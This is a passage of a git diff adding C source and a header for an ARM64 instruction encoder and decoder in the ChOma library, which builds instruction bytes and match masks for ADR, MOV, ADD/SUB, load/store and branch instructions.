OPT_BOOL_GET_VAL(optIsAdrp); + if (isAdrp) { + inst |= (1 << 31); + } + } + + if (OPT_UINT64_IS_SET(optOrigin) && OPT_UINT64_IS_SET(optTarget)) { + mask |= 0x60ffffe0; + + uint64_t origin = OPT_UINT64_GET_VAL(optOrigin); + uint64_t target = OPT_UINT64_GET_VAL(optTarget); + if (isAdrp) { + origin &= ~ADRP_PAGE_MASK; + target &= ~ADRP_PAGE_MASK; + } + int64_t offset = ((int64_t)target - (int64_t)origin); + if (isAdrp) { + offset = (offset >> 12); + } + + // +- 1MB + if (offset > 0x100000 || offset < -0x100000) { + // Offset too big + return -1; + } + + uint64_t unsignedOffset = offset & 0x1FFFFF; + inst |= ((unsignedOffset & 0x3) << 29); + inst |= ((unsignedOffset & ~0x3) << 3); + } + + if (!ARM64_REG_IS_ANY(reg)) { + if (ARM64_REG_IS_W(reg)) return -1; + inst |= ARM64_REG_GET_NUM(reg);; + mask |= 0x1F; + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_adr_p(uint32_t inst, uint64_t origin, uint64_t *targetOut, arm64_register *registerOut, bool *isAdrpOut) +{ + bool isAdrp = false; + if ((inst & 0x9f000000) == 0x90000000) { + isAdrp = true; + } + else if ((inst & 0x9f000000) == 0x10000000) { + isAdrp = false; + } + else { + return -1; + } + + if (targetOut) { + uint64_t offset = ((inst >> 29) & 0x3) | ((inst >> 3) & 0x1ffffc); + int64_t signedOffset = 0; + if (isAdrp) { + offset = (offset << 12); + origin &= ~ADRP_PAGE_MASK; + signedOffset = sxt64(offset, 33); + } + else { + signedOffset = sxt64(offset, 21); + } + *targetOut = origin + signedOffset; + } + + if (registerOut) *registerOut = ARM64_REG_X(inst & 0x1f); + if (isAdrpOut) *isAdrpOut = isAdrp; + return 0; +} + +int arm64_gen_mov_imm(char type, arm64_register destinationReg, optional_uint64_t optImm, optional_uint64_t optShift, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(destinationReg)) return -1; + + uint32_t inst = 0x12800000; + uint32_t mask = 0x7f800000; // Note this mask includes the type as it's not optional + + switch (type) { + case 'k': { + inst |= (1 << 30) | (1 << 29); + break; + } + + case 'n': { + break; + } + + case 'z': { + inst |= (1 << 30); + break; + } + + default: { + return -1; + } + } + + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= (1 << 31); + if (ARM64_REG_IS_W(destinationReg)) { + if (OPT_UINT64_IS_SET(optShift)) { + uint64_t shift = OPT_UINT64_GET_VAL(optShift); + if (shift != 0 && shift != 16) return -1; + } + } + else { + inst |= (1 << 31); + if (OPT_UINT64_IS_SET(optShift)) { + uint64_t shift = OPT_UINT64_GET_VAL(optShift); + if (shift != 0 && shift != 16 && shift != 32 && shift != 48) return -1; + } + } + + mask |= 0x1f; + inst |= ARM64_REG_GET_NUM(destinationReg); + } + + if (OPT_UINT64_IS_SET(optImm)) { + uint64_t imm = OPT_UINT64_GET_VAL(optImm); + if (imm > UINT16_MAX) return -1; + mask |= 0x1fffe0; + inst |= ((uint32_t)imm << 5); + } + + if (OPT_UINT64_IS_SET(optShift)) { + uint64_t shift = OPT_UINT64_GET_VAL(optShift); + inst |= ((shift / 16) & 0b11) << 21; + mask |= (0b11 << 21); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_mov_imm(uint32_t inst, arm64_register *destinationRegOut, uint64_t *immOut, uint64_t *shiftOut, char *typeOut) +{ + if ((inst & 0x1f800000) != 0x12800000) return -1; + + char type = 0; + uint8_t opc = ((inst >> 29) & 0b11); + switch (opc) { + case 0b11: { + type = 'k'; + break; + } + case 0b00: { + type = 'n'; + break; + } + case 0b10: { + type = 'z'; + break; + } + default: { + return -1; + } + } + + if (destinationRegOut) { + bool is64 = inst & (1 << 31); + *destinationRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, inst & 0x1f); + } + if (immOut) { + *immOut = (inst >> 5) & 0xffff; + } + if (shiftOut) { + *shiftOut = ((inst >> 21) & 0b11) * 16; + } + if (typeOut) { + *typeOut = type; + } + + return 0; +} + +int arm64_gen_mov_reg(arm64_register destinationReg, arm64_register sourceReg, uint32_t *bytesOut, uint32_t *maskOut) +{ + uint32_t inst = 0x2a0003e0; + uint32_t mask = 0x7fe0ffe0; + + if (!ARM64_REG_IS_ANY(destinationReg) && !ARM64_REG_IS_ANY(sourceReg)) { + if (ARM64_REG_IS_W(destinationReg) != ARM64_REG_IS_W(sourceReg)) return -1; + } + + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= (1 << 31); + inst |= (ARM64_REG_IS_X(destinationReg) << 31); + + inst |= (ARM64_REG_GET_NUM(destinationReg)); + mask |= 0x1f; + } + + if (!ARM64_REG_IS_ANY(sourceReg)) { + mask |= (1 << 31); + inst |= (ARM64_REG_IS_X(sourceReg) << 31); + + inst |= (ARM64_REG_GET_NUM(sourceReg) << 16); + mask |= (0x1f << 16); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + + return 0; +} + +int arm64_dec_mov_reg(uint32_t inst, arm64_register *destinationRegOut, arm64_register *sourceRegOut) +{ + if ((inst & 0x7fe0ffe0) != 0x2a0003e0) return -1; + + bool is64 = inst & (1 << 31); + if (destinationRegOut) *destinationRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, inst & 0x1f); + if (sourceRegOut) *sourceRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, (inst >> 16) & 0x1f); + + return 0; +} + +int arm64_gen_add_imm(arm64_register destinationReg, arm64_register sourceReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(destinationReg)) return -1; + if (ARM64_REG_IS_ANY_VECTOR(sourceReg)) return -1; + + if (!ARM64_REG_IS_ANY(destinationReg) && !ARM64_REG_IS_ANY(sourceReg)) { + // if both regs are set and have a mismatching width, abort + if (ARM64_REG_IS_W(destinationReg) != ARM64_REG_IS_W(sourceReg)) return -1; + } + + uint32_t inst = 0x11000000; + uint32_t mask = 0x7f800000; + + // if one is set and 32 bit, include 32 bit in mask and set it in inst + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= (1 << 31); + inst |= ((uint32_t)(ARM64_REG_IS_X(destinationReg)) << 31); + } + else if (!ARM64_REG_IS_ANY(sourceReg)) { + mask |= (1 << 31); + inst |= ((uint32_t)(ARM64_REG_IS_X(sourceReg)) << 31); + } + + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= 0x1F; + inst |= (uint32_t)(ARM64_REG_GET_NUM(destinationReg)); + } + if (!ARM64_REG_IS_ANY(sourceReg)) { + mask |= (0x1F << 5); + inst |= ((uint32_t)(ARM64_REG_GET_NUM(destinationReg)) << 5); + } + + if (OPT_UINT64_IS_SET(optImm)) { + uint64_t imm = OPT_UINT64_GET_VAL(optImm); + if (imm & ~0xFFF) return -1; + mask |= (0xFFF << 10); + inst |= (imm << 10); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_add_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *sourceRegOut, uint16_t *immOut) +{ + if ((inst & 0x7f800000) != 0x11000000) return -1; + bool is64 = (inst & 0x80000000); + bool shift = (inst & 0x400000); + + if (destinationRegOut) { + *destinationRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, inst & 0x1F); + } + if (sourceRegOut) { + *sourceRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, (inst >> 5) & 0x1F); + } + + if (immOut) { + uint16_t imm = ((inst >> 10) & 0xFFF); + if (shift) { + imm = (imm << 12); + } + *immOut = imm; + } + + return 0; +} + +int arm64_gen_sub_imm(arm64_register destinationReg, arm64_register sourceReg, optional_uint64_t optImm, optional_bool optS, uint32_t *bytesOut, uint32_t *maskOut) { + if (ARM64_REG_IS_ANY_VECTOR(destinationReg)) return -1; + if (ARM64_REG_IS_ANY_VECTOR(sourceReg)) return -1; + + if (!ARM64_REG_IS_ANY(destinationReg) && !ARM64_REG_IS_ANY(sourceReg)) { + // if both regs are set and have a mismatching width, abort + if (ARM64_REG_IS_W(destinationReg) != ARM64_REG_IS_W(sourceReg)) return -1; + } + + uint32_t inst = 0x51000000; + uint32_t mask = 0x7f800000; + if(OPT_BOOL_IS_SET(optS)) { + bool s = OPT_BOOL_GET_VAL(optS); + if(s) { + inst = 0x71000000; + mask |= (1 << 29); + inst |= (1 << 29); + } + } + + // if one is set and 32 bit, include 32 bit in mask and set it in inst + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= (1 << 31); + inst |= ((uint32_t)(ARM64_REG_IS_X(destinationReg)) << 31); + } + else if (!ARM64_REG_IS_ANY(sourceReg)) { + mask |= (1 << 31); + inst |= ((uint32_t)(ARM64_REG_IS_X(sourceReg)) << 31); + } + + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= 0x1F; + inst |= (uint32_t)(ARM64_REG_GET_NUM(destinationReg)); + } + if (!ARM64_REG_IS_ANY(sourceReg)) { + mask |= (0x1F << 5); + inst |= ((uint32_t)(ARM64_REG_GET_NUM(destinationReg)) << 5); + } + + if (OPT_UINT64_IS_SET(optImm)) { + uint64_t imm = OPT_UINT64_GET_VAL(optImm); + if (imm & ~0xFFF) return -1; + mask |= (0xFFF << 10); + inst |= (imm << 10); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_sub_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *sourceRegOut, uint16_t *immOut, bool *sOut) { + if ((inst & 0x7f800000) != 0x51000000) { + if ((inst & 0x7f800000) != 0x71000000) { + return -1; + } + } + bool is64 = (inst & 0x80000000); + bool isS = (inst & 0x20000000); + bool shift = (inst & 0x400000); + + if (destinationRegOut) { + *destinationRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, inst & 0x1F); + } + if (sourceRegOut) { + *sourceRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, (inst >> 5) & 0x1F); + } + + if (immOut) { + uint16_t imm = ((inst >> 10) & 0xFFF); + if (shift) { + imm = (imm << 12); + } + *immOut = imm; + } + + if (sOut) { + *sOut = isS; + } + + return 0; +} + +uint8_t arm64_str_ldr_type_width(arm64_register_type registerType, char ldrStrType) +{ + switch (ldrStrType) { + case 'b': return 1; + case 'h': return 2; + default: return arm64_reg_type_get_width(registerType); + } +} + +static int _arm64_gen_str_ldr_imm(uint32_t inst, uint32_t mask, char type, arm64_ldr_str_type instType, arm64_register sourceDestinationReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(addrReg)) return -1; + + if (!ARM64_REG_IS_ANY(sourceDestinationReg)) { + if (ARM64_REG_IS_ANY_VECTOR(sourceDestinationReg)) { + mask |= (1 << 26); + inst |= (1 << 26); + } + else { + mask |= (1 << 23) | (1 << 26); + //inst |= (0 << 23) | (0 << 26); + + inst |= ARM64_REG_GET_NUM(sourceDestinationReg); + mask |= 0x1f; + + bool isVector = ARM64_REG_IS_VECTOR(sourceDestinationReg); + if (isVector && type != 0) return -1; + mask |= (1 << 23) | (1 << 26) | (0b11 << 30); + inst |= (isVector << 26); + + uint8_t size = 0b00; + + arm64_register_type regType = ARM64_REG_GET_TYPE(sourceDestinationReg); + + if (isVector) { + switch (regType) { + case ARM64_REG_TYPE_Q: + size = 0b00; + inst |= (1 << 23); + break; + case ARM64_REG_TYPE_D: + size = 0b11; + break; + case ARM64_REG_TYPE_S: + size = 0b10; + break; + case ARM64_REG_TYPE_H: + size = 0b01; + break; + case ARM64_REG_TYPE_B: + size = 0b00; + break; + default: + break; + } + } + else { + if (regType == ARM64_REG_TYPE_X) { + size = 0b11; + } + else if (regType == ARM64_REG_TYPE_W) { + size = 0b10; + } + } + inst |= (size << 30); + mask |= (0b11 << 30); + } + } + + if (type != 0) { + mask |= (1 << 23) | (1 << 26); + //inst |= (0 << 23) | (0 << 26); + + uint8_t size = 0b00; + if (type == 'h') { + size = 0b01; + } + else if (type == 'b') { + size = 0b00; + } + + inst &= ~(0b11 << 30); + inst |= (size << 30); + mask |= (0b11 << 30); + } + + if (instType != LDR_STR_TYPE_ANY) { + mask |= (1 << 24); + if (instType == LDR_STR_TYPE_PRE_INDEX || instType == LDR_STR_TYPE_POST_INDEX) { + // Bit 10: Mask out LDUR / STUR + // Bit 11: post index or not? + mask |= (1 << 10) | (1 << 11); + inst |= (1 << 10) | ((instType == LDR_STR_TYPE_PRE_INDEX) << 11); + } + else if(instType == LDR_STR_TYPE_UNSIGNED) { + inst |= (1 << 24); + } + } + + if (!ARM64_REG_IS_ANY(addrReg)) { + if (!ARM64_REG_IS_X(addrReg)) return -1; + inst |= ((uint32_t)(ARM64_REG_GET_NUM(addrReg)) << 5); + mask |= (0x1f << 5); + } + + if (OPT_UINT64_IS_SET(optImm)) { + uint64_t imm = OPT_UINT64_GET_VAL(optImm) / arm64_str_ldr_type_width(ARM64_REG_GET_TYPE(sourceDestinationReg), type); + if (imm & ~0xfff) return -1; + inst |= (imm << 10); + mask |= (0xfff << 10); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +static int _arm64_dec_str_ldr_imm(uint32_t inst, arm64_register *sourceDestinationRegOut, arm64_register *addrRegOut, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut) +{ + bool isVector = inst & (1 << 26); + + bool isUnsigned = inst & (1 << 24); + if (!isUnsigned) { + bool isUnscaled = !(inst & (1 << 10)); + if (isUnscaled) return -1; + } + + uint8_t size = (inst >> 30); + char instructionType = 0; + arm64_register_type registerType = 0; + if (isVector) { + switch (size) { + case 0b00: + if (inst & (1 << 23)) { + registerType = ARM64_REG_TYPE_Q; + } + else { + registerType = ARM64_REG_TYPE_B; + } + break; + case 0b01: + registerType = ARM64_REG_TYPE_H; + break; + case 0b10: + registerType = ARM64_REG_TYPE_S; + break; + case 0b11: + registerType = ARM64_REG_TYPE_D; + } + } + else { + switch (size) { + case 0b00: + registerType = ARM64_REG_TYPE_W; + instructionType = 'b'; + break; + case 0b01: + registerType = ARM64_REG_TYPE_W; + instructionType = 'h'; + break; + case 0b10: + registerType = ARM64_REG_TYPE_W; + break; + case 0b11: + registerType = ARM64_REG_TYPE_X; + break; + } + } + + if (sourceDestinationRegOut) { + *sourceDestinationRegOut = ARM64_REG(registerType, (inst & 0x1f)); + } + + if (typeOut) { + *typeOut = instructionType; + } + + if (addrRegOut) { + *addrRegOut = ARM64_REG_X((inst >> 5) & 0x1f); + } + + if (immOut) { + if (isUnsigned) { + uint64_t imm = ((inst >> 10) & 0xfff) * arm64_str_ldr_type_width(registerType, instructionType); + *immOut = imm; + } + else { + uint64_t imm = ((inst >> 12) & 0x1ff); + *immOut = sxt64(imm, 9); + } + } + + if (instTypeOut) { + if (isUnsigned) { + *instTypeOut = LDR_STR_TYPE_UNSIGNED; + } + else { + bool isPreIndex = inst & (1 << 11); + *instTypeOut = isPreIndex ? LDR_STR_TYPE_PRE_INDEX : LDR_STR_TYPE_POST_INDEX; + } + } + + return 0; +} + +int arm64_gen_ldr_imm(char type, arm64_ldr_str_type instType, arm64_register destinationReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut) +{ + return _arm64_gen_str_ldr_imm(0x38400000, 0x3a400000, type, instType, destinationReg, addrReg, optImm, bytesOut, maskOut); +} + +int arm64_dec_ldr_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *addrRegOut, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut) +{ + if ((inst & 0x3a400000) != 0x38400000) return -1; + return _arm64_dec_str_ldr_imm(inst, destinationRegOut, addrRegOut, immOut, typeOut, instTypeOut); +} + +int arm64_gen_ldrs_imm(char type, arm64_ldr_str_type instType, arm64_register destinationReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut) +{ + return _arm64_gen_str_ldr_imm(0x38800000, 0x3ac00000, type, instType, destinationReg, addrReg, optImm, bytesOut, maskOut); +} + +int arm64_dec_ldrs_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *addrRegOut, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut) +{ + if ((inst & 0x3ac00000) != 0x38800000) return -1; + return _arm64_dec_str_ldr_imm(inst, destinationRegOut, addrRegOut, immOut, typeOut, instTypeOut); +} + +int arm64_gen_str_imm(char type, arm64_ldr_str_type instType, arm64_register sourceReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut) +{ + return _arm64_gen_str_ldr_imm(0x38000000, 0x3a400000, type, instType, sourceReg, addrReg, optImm, bytesOut, maskOut); +} + +int arm64_dec_str_imm(uint32_t inst, arm64_register *sourceRegOut, arm64_register *addrRegOut, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut) +{ + if ((inst & 0x3a400000) != 0x38000000) return -1; + return _arm64_dec_str_ldr_imm(inst, sourceRegOut, addrRegOut, immOut, typeOut, instTypeOut); +} + +int arm64_gen_ldr_lit(arm64_register destinationReg, optional_uint64_t optOrigin, optional_uint64_t optTarget, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(destinationReg)) return -1; + + uint32_t inst = 0x18000000; + uint32_t mask = 0xbf000000; + + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= (1 << 30); + inst |= (ARM64_REG_IS_X(destinationReg) << 30); + + mask |= 0x1f; + inst |= ARM64_REG_GET_NUM(destinationReg); + } + + if (OPT_UINT64_IS_SET(optOrigin) && OPT_UINT64_IS_SET(optTarget)) { + uint64_t origin = OPT_UINT64_GET_VAL(optOrigin); + uint64_t target = OPT_UINT64_GET_VAL(optTarget); + mask |= (0x7ffff << 5); + inst |= (((target - origin) / 4) & 0x7ffff) << 5; + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + + return 0; +} + +int arm64_dec_ldr_lit(uint32_t inst, uint64_t origin, uint64_t *targetOut, arm64_register *destinationReg) +{ + if ((inst & 0xbf000000) != 0x18000000) return -1; + + if (destinationReg) { + *destinationReg = ARM64_REG((inst & (1 << 30)) ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, inst & 0x1f); + } + + if (targetOut) { + uint64_t imm = (inst >> 5) & 0x7ffff; + *targetOut = origin + (sxt64(imm, 19) * 4); + } + + return 0; +} + +int arm64_gen_ldp(arm64_ldp_stp_type instType, arm64_register destinationReg1, arm64_register destinationReg2, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut) +{ + uint32_t inst = 0x28400000; + uint32_t mask = 0x7e400000; + + if (!ARM64_REG_IS_ANY(destinationReg1) && !ARM64_REG_IS_ANY(destinationReg2)) { + if (ARM64_REG_IS_X(destinationReg1) != ARM64_REG_IS_X(destinationReg2)) { + return -1; + } + } + + bool is64 = false; + if (!ARM64_REG_IS_ANY(destinationReg1) || !ARM64_REG_IS_ANY(destinationReg2)) { + if (!ARM64_REG_IS_ANY(destinationReg1)) { + is64 = ARM64_REG_IS_X(destinationReg1); + } + else { + is64 = ARM64_REG_IS_X(destinationReg2); + } + mask |= (1 << 31); + inst |= (is64 << 31); + } + + if (ARM64_REG_IS_ANY(destinationReg1) && ARM64_REG_IS_ANY(destinationReg2) && OPT_UINT64_IS_SET(optImm)) { + return -1; + } + + if (instType != ARM64_LDP_STP_TYPE_ANY) { + mask |= (0b11 << 23); + switch (instType) { + case ARM64_LDP_STP_TYPE_POST_INDEX: + inst |= (0b01 << 23); + break; + case ARM64_LDP_STP_TYPE_PRE_INDEX: + inst |= (0b11 << 23); + break; + case ARM64_LDP_STP_TYPE_SIGNED: + inst |= (0b10 << 23); + break; + default: + break; + } + } + + if (!ARM64_REG_IS_ANY(destinationReg1)) { + mask |= 0x1f; + inst |= ARM64_REG_GET_NUM(destinationReg1); + } + if (!ARM64_REG_IS_ANY(destinationReg2)) { + mask |= 0x1f << 10; + inst |= ARM64_REG_GET_NUM(destinationReg2) << 10; + } + if (!ARM64_REG_IS_ANY(addrReg)) { + mask |= 0x1f << 5; + inst |= ARM64_REG_GET_NUM(addrReg) << 5; + } + if (OPT_UINT64_IS_SET(optImm)) { + mask |= 0b1111111 << 15; + if (is64) { + inst |= OPT_UINT64_GET_VAL(optImm) / 8; + } + else { + inst |= OPT_UINT64_GET_VAL(optImm) / 4; + } + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_gen_cb_n_z(optional_bool isCbnz, arm64_register reg, optional_uint64_t optTarget, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(reg)) return -1; + + uint32_t inst = 0x34000000; + uint32_t mask = 0x7e000000; + + if (OPT_BOOL_IS_SET(isCbnz)) { + mask |= (1 << 24); + if (OPT_BOOL_GET_VAL(isCbnz)) { + inst |= (1 << 24); + } + } + + if (!ARM64_REG_IS_ANY(reg)) { + mask |= 0x1f | (1 << 31); + inst |= (ARM64_REG_IS_X(reg) << 31); + inst |= ARM64_REG_GET_NUM(reg); + } + + if (OPT_UINT64_IS_SET(optTarget)) { + uint64_t target = OPT_UINT64_GET_VAL(optTarget) / 4; + if (target & ~0x7ffff) { + return -1; + } + mask |= (0x7ffff << 5); + inst |= (target << 5); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_cb_n_z(uint32_t inst, uint64_t origin, bool *isCbnzOut, arm64_register *regOut, uint64_t *targetOut) +{ + if ((inst & 0x7e000000) != 0x34000000) return -1; + + if (isCbnzOut) { + *isCbnzOut = ((inst >> 24) & 0x1); + } + if (regOut) { + bool is64 = ((inst >> 31) & 0x1); + uint16_t num = inst & 0x1f; + *regOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, num); + } + if (targetOut) { + *targetOut = origin + sxt64(((inst >> 5) & 0x7ffff) * 4, 19); + } + + return 0; +} + +int arm64_gen_tb_n_z(optional_bool isTbnz, arm64_register reg, optional_uint64_t optTarget, optional_uint64_t optBit, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(reg)) return -1; + + uint32_t inst = 0x36000000; + uint32_t mask = 0x7e000000; + + if (OPT_BOOL_IS_SET(isTbnz)) { + mask |= (1 << 25); + inst |= (OPT_BOOL_GET_VAL(isTbnz)) << 25; + } + + if (!ARM64_REG_IS_ANY(reg)) { + mask |= 0x1f | (1 << 31); + inst |= (ARM64_REG_IS_X(reg) << 31); + inst |= ARM64_REG_GET_NUM(reg); + } + + if (OPT_UINT64_IS_SET(optTarget)) { + uint64_t target = OPT_UINT64_GET_VAL(optTarget) / 4; + if (target & ~0x3fff) { + return -1; + } + mask |= (0x3fff << 5); + inst |= (target << 5); + } + + if (OPT_UINT64_IS_SET(optBit)) { + uint64_t bit = OPT_UINT64_GET_VAL(optBit); + if (bit & ~0x1f) return -1; + + bool bitIs64 = (bit & (1 << 5)); + if (!ARM64_REG_IS_ANY(reg)) { + if (ARM64_REG_IS_X(reg) != bitIs64) return -1; + } + + mask |= (1 << 31) | (0xf << 19); + inst |= (bitIs64 << 31) | (bit & 0xf) << 5; + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_tb_n_z(uint32_t inst, uint64_t origin, bool *isTbnzOut, arm64_register *regOut, uint64_t *targetOut, uint64_t *bitOut) +{ + if ((inst & 0x7e000000) != 0x36000000) return -1; + + bool is64 = inst & (1 << 31); + + if (isTbnzOut) { + *isTbnzOut = (inst >> 25); + } + + if (regOut) { + *regOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, inst & 0x1f); + } + + if (targetOut) { + *targetOut = origin + sxt64(((inst >> 5) & 0x3fff) * 4, 14); + } + + if (bitOut) { + *bitOut = (is64 << 5) | ((inst >> 19) & 0xf); + } + + return 0; +} diff --git a/XPF/external/ChOma/src/arm64.h b/XPF/external/ChOma/src/arm64.h new file mode 100644 index 0000000..f4ae7b6 --- /dev/null +++ b/XPF/external/ChOma/src/arm64.h @@ -0,0 +1,111 @@ +#ifndef ARM64_H +#define ARM64_H + +#include "Util.h" + +typedef enum { + // registers + ARM64_REG_TYPE_X, + ARM64_REG_TYPE_W, + + // vector shit + ARM64_REG_TYPE_Q, + ARM64_REG_TYPE_D, + ARM64_REG_TYPE_S, + ARM64_REG_TYPE_H, + ARM64_REG_TYPE_B, +} arm64_register_type; + +enum { + ARM64_REG_MASK_ANY_FLAG = (1 << 0), + ARM64_REG_MASK_X_W = (1 << 1), + ARM64_REG_MASK_VECTOR = (1 << 2), + ARM64_REG_MASK_ALL = (ARM64_REG_MASK_X_W | ARM64_REG_MASK_VECTOR), + + ARM64_REG_MASK_ANY_X_W = (ARM64_REG_MASK_X_W | ARM64_REG_MASK_ANY_FLAG), + ARM64_REG_MASK_ANY_VECTOR = (ARM64_REG_MASK_VECTOR | ARM64_REG_MASK_ANY_FLAG), + ARM64_REG_MASK_ANY_ALL = (ARM64_REG_MASK_ALL | ARM64_REG_MASK_ANY_FLAG), +}; + +typedef enum { + LDR_STR_TYPE_ANY, // NOTE: "ANY" will inevitably also match STUR and LDUR instructions + LDR_STR_TYPE_POST_INDEX, + LDR_STR_TYPE_PRE_INDEX, + LDR_STR_TYPE_UNSIGNED, +} arm64_ldr_str_type; + +typedef enum { + ARM64_LDP_STP_TYPE_ANY, + ARM64_LDP_STP_TYPE_POST_INDEX, + ARM64_LDP_STP_TYPE_PRE_INDEX, + ARM64_LDP_STP_TYPE_SIGNED, +} arm64_ldp_stp_type; + +typedef struct s_arm64_register { + uint8_t mask; + arm64_register_type type; + uint8_t num; +} arm64_register; + +#define ARM64_REG(type_, num_) (arm64_register){.mask = ARM64_REG_MASK_ALL, .type = type_, .num = num_} +#define ARM64_REG_X(x) ARM64_REG(ARM64_REG_TYPE_X, x) +#define ARM64_REG_W(x) ARM64_REG(ARM64_REG_TYPE_W, x) +#define ARM64_REG_Q(x) ARM64_REG(ARM64_REG_TYPE_Q, x) +#define ARM64_REG_S(x) ARM64_REG(ARM64_REG_TYPE_S, x) +#define ARM64_REG_H(x) ARM64_REG(ARM64_REG_TYPE_H, x) +#define ARM64_REG_B(x) ARM64_REG(ARM64_REG_TYPE_B, x) +#define ARM64_REG_ANY (arm64_register){.mask = ARM64_REG_MASK_ANY_ALL, .type = 0, .num = 0} +#define ARM64_REG_ANY_X_W (arm64_register){.mask = ARM64_REG_MASK_ANY_X_W, .type = 0, .num = 0} +#define ARM64_REG_ANY_VECTOR (arm64_register){.mask = ARM64_REG_MASK_ANY_VECTOR, .type = 0, .num = 0} +#define ARM64_REG_GET_TYPE(x) (x.type) +#define ARM64_REG_IS_X(x) (x.type == ARM64_REG_TYPE_X) +#define ARM64_REG_IS_W(x) (x.type == ARM64_REG_TYPE_W) +#define ARM64_REG_IS_VECTOR(x) (x.type == ARM64_REG_TYPE_Q || x.type == ARM64_REG_TYPE_D || x.type == ARM64_REG_TYPE_S || x.type == ARM64_REG_TYPE_H || x.type == ARM64_REG_TYPE_B) +#define ARM64_REG_GET_NUM(x) (x.num & 0x1f) +#define ARM64_REG_IS_ANY(x) (x.mask == ARM64_REG_MASK_ANY_ALL) +#define ARM64_REG_IS_ANY_X_W(x) (x.mask == ARM64_REG_MASK_ANY_X_W) +#define ARM64_REG_IS_ANY_VECTOR(x) (x.mask == ARM64_REG_MASK_ANY_VECTOR) +uint8_t arm64_reg_type_get_width(arm64_register_type type); +const char *arm64_reg_type_get_string(arm64_register_type type); +const char *arm64_reg_get_type_string(arm64_register reg); + +#define ARM64_REG_NUM_SP 31 +#define ARM64_REG_NUM_ZR 31 + +typedef struct s_arm64_cond { + bool isSet; + uint8_t value; +} arm64_cond; +#define ARM64_COND(x) (arm64_cond){.isSet = true, .value = x} +#define ARM64_COND_ANY (arm64_cond){.isSet = false, .value = 0} +#define ARM64_COND_GET_VAL(x) (x.value & 0xf) +#define ARM64_COND_IS_SET(x) x.isSet + +int arm64_gen_b_l(optional_bool optIsBl, optional_uint64_t optOrigin, optional_uint64_t optTarget, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_b_l(uint32_t inst, uint64_t origin, uint64_t *targetOut, bool *isBlOut); +int arm64_gen_b_c_cond(optional_bool optIsBc, optional_uint64_t optOrigin, optional_uint64_t optTarget, arm64_cond optCond, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_b_c_cond(uint32_t inst, uint64_t origin, uint64_t *targetOut, arm64_cond *condOut, bool *isBcOut); +int arm64_gen_adr_p(optional_bool optIsAdrp, optional_uint64_t optOrigin, optional_uint64_t optTarget, arm64_register reg, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_adr_p(uint32_t inst, uint64_t origin, uint64_t *targetOut, arm64_register *registerOut, bool *isAdrpOut); +int arm64_gen_mov_imm(char type, arm64_register destinationReg, optional_uint64_t optImm, optional_uint64_t optShift, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_mov_imm(uint32_t inst, arm64_register *destinationRegOut, uint64_t *immOut, uint64_t *shiftOut, char *typeOut); +int 